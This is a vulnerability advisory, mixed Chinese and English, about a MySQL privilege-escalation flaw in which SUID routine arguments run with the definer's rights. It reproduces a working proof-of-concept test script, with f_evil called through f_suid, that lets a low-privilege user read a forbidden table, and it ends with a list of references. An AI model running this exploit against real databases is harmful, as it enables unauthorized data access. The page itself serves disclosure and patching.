MySQL suid例程的参数EXECUTE权限漏洞

https://www.exploit-db.com/exploits/28398
https://www.securityfocus.com/bid/83232
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200608-301

OracleMySQL是美国甲骨文（Oracle）公司的一套开源的关系数据库管理系统。该数据库系统具有性能高、成本低、可靠性好等特点。由于在错误的安全环境中计算了suid例程的参数，攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用户对所存储例程拥有EXECUTE权限。

source: http://www.securityfocus.com/bid/19559/info

MySQL is prone to these vulnerabilities:

- A privilege-elevation vulnerability. A user with privileges to execute SUID routines may gain elevated privileges by executing certain commands and code with higher privileges.

- A security-bypass vulnerability. A user can bypass restrictions and create new databases.

MySQL 5.0.24 and prior versions are affected by these issues.

--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings

# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;

# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;

use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);

connect (malcon, localhost, malory,,mysqltest1);

# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;

# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
  returns int
  sql security invoker
begin
  set @a:= current_user();
  set @b:= (select count(*) from mysqltest2.t1);
  return 0;
end|
delimiter ;|

# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;

# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;

connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;

MySQL AB MySQL Connector/Net 5.0.22.1.0.1 MySQL AB MySQL 5.1.10 MySQL AB MySQL 5.1.9 MySQL AB MySQL 5.1.6 MySQL AB MySQL 5.1.5 MySQL AB MySQL 5.0.24 MySQ

来源:VUPEN
名称:ADV-2006-3306
链接:http://www.frsirt.com/english/advisories/2006/3306
来源:XF
名称:mysql-grant-execute-privilege-escalation(28442)
链接:http://xforce.iss.net/xforce/xfdb/28442
来源:UBUNTU
名称:USN-338-1
链接:http://www.ubuntu.com/usn/usn-338-1
来源:BID
名称:19559
链接:http://www.securityfocus.com/bid/19559
来源:REDHAT
名称:RHSA-2008:0364
链接:http://www.redhat.com/support/errata/RHSA-2008-0364.html
来源:REDHAT
名称:RHSA-2007:0083
链接:http://www.redhat.com/support/errata/RHSA-2007-0083.html
来源:SUSE
名称:SUSE-SR:2006:023
链接:http://www.novell.com/linux/security/advisories/2006_23_sr.html
来源:SECTRACK
名称:1016709
链接:http://securitytracker.com/id?1016709
来源:SECUNIA
名称:30351
链接:http://secunia.com/advisories/30351
来源:SECUNIA
名称:22080
链接:http://secunia.com/advisories/22080
来源:SECUNIA
名称:21770
链接:http://secunia.com/advisories/21770
来源:SECUNIA
名称:21506
链接:http://secunia.com/advisories/21506
来源:MLIST
名称:[commits]20060620bkcommitinto5.0tree(kroki:1.2168)BUG#18630
链接:http://lists.mysql.com/commits/7918
来源:dev.mysql.com